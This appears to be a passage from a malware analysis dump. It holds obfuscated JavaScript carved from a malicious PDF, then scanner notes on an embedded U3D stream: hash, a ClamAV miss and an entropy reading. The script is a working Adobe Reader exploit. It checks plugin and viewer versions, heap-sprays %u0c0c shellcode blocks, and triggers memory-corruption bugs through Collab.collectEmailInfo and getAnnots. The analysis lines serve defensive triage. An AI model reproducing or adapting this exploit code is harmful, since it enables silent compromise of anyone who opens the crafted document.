6%u3030%u3030%u3030%u3030%u3031%u5438%u3165%u6561%u3436%u3261%u3032%u6c31%u3430%u3930";app.J_WJs3 = unescape(iw_45KOKx250d(H_mFhK1S_5v, GQsI841gc6Ed));var BtU_doV3c = 0x400000;var W_____dSCBG = u7p_S5.length * 2;var cQsQCo = BtU_doV3c - (W_____dSCBG+0x38);ARnW1ov81shnx5h = OGa6_7n___8(ARnW1ov81shnx5h, cQsQCo);var X_p36o = (QXacoUA3V430A0 - 0x400000)/BtU_doV3c;for (var Ytd_d34 = 0; Ytd_d34 < X_p36o; Ytd_d34++) {F2Tib_Vr[Ytd_d34] = ARnW1ov81shnx5h + u7p_S5;}}function PgCf47__Ma7(){var r_Q_JkjTJ__J8s = "";for (I128A_u_EcbbqY = 0; I128A_u_EcbbqY < 12; I128A_u_EcbbqY++) {r_Q_JkjTJ__J8s += unescape("%u0c0c%u0c0c");}var k_gR_5M2ERt = "";for (I128A_u_EcbbqY = 0; I128A_u_EcbbqY < 750; I128A_u_EcbbqY++) {k_gR_5M2ERt += r_Q_JkjTJ__J8s;}this.collabStore = Collab.collectEmailInfo({subj: "", msg: k_gR_5M2ERt});app.clearTimeOut(mVc__S);}function mq_qp_t(p_LaVu_7wOA){var C_1dPah15 = mVc__S;if ((p_LaVu_7wOA >= 8 && p_LaVu_7wOA < 8.11) || p_LaVu_7wOA < 7.1) {t2eI_m7sFm6YEAj(23, "%u0c0c%u0c0c", p_LaVu_7wOA);app.AixD8__k_tBr = PgCf47__Ma7;mVc__S = app.setTimeOut("app.AixD8__k_tBr()", 1);} if (p_LaVu_7wOA < 7.12) {function Gg3Ho07_d() {try {t2eI_m7sFm6YEAj(22, "%u0c0c%u0c0c", p_LaVu_7wOA);var fs____j5_Y = -0x7CFCFCFD;this.getAnnots(fs____j5_Y, fs____j5_Y, fs____j5_Y, fs____j5_Y);} catch(e) {console.println("annots exception error"); }}Gg3Ho07_d();}t2eI_m7sFm6YEAj(13, "%u0c0c%u0c0c", p_LaVu_7wOA);if (C_1dPah15) {app.clearTimeOut(C_1dPah15);}}var eac_2_K = 0;var Cn_i_2t5O_8Vr23 = app.plugIns;for (var p10_i__0_5n = 0; p10_i__0_5n < Cn_i_2t5O_8Vr23.length; p10_i__0_5n++) {var W__BCr6t4l = Cn_i_2t5O_8Vr23[p10_i__0_5n].version;if (W__BCr6t4l > eac_2_K) { eac_2_K = W__BCr6t4l; }}if (app.viewerVersion == 9.103 && eac_2_K < 9.13) {eac_2_K = 9.13;}if (!(eac_2_K < 9 || eac_2_K >= 9.2) ||    !(eac_2_K < 8 || eac_2_K >= 8.17) ||    !(eac_2_K < 7 || eac_2_K >= 7.14)) {mq_qp_t(eac_2_K);}
u3d_00_off00003444.bin pdf-3d-stream PDF U3D 3D stream at offset 0x3444 27449 bytes
SHA-256: 48816569ab4f370009a917ef6429edbe09e4dfe8a63b00a0a0f75a904c62ba94
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact entropy is 7.99, consistent with packed or encrypted content.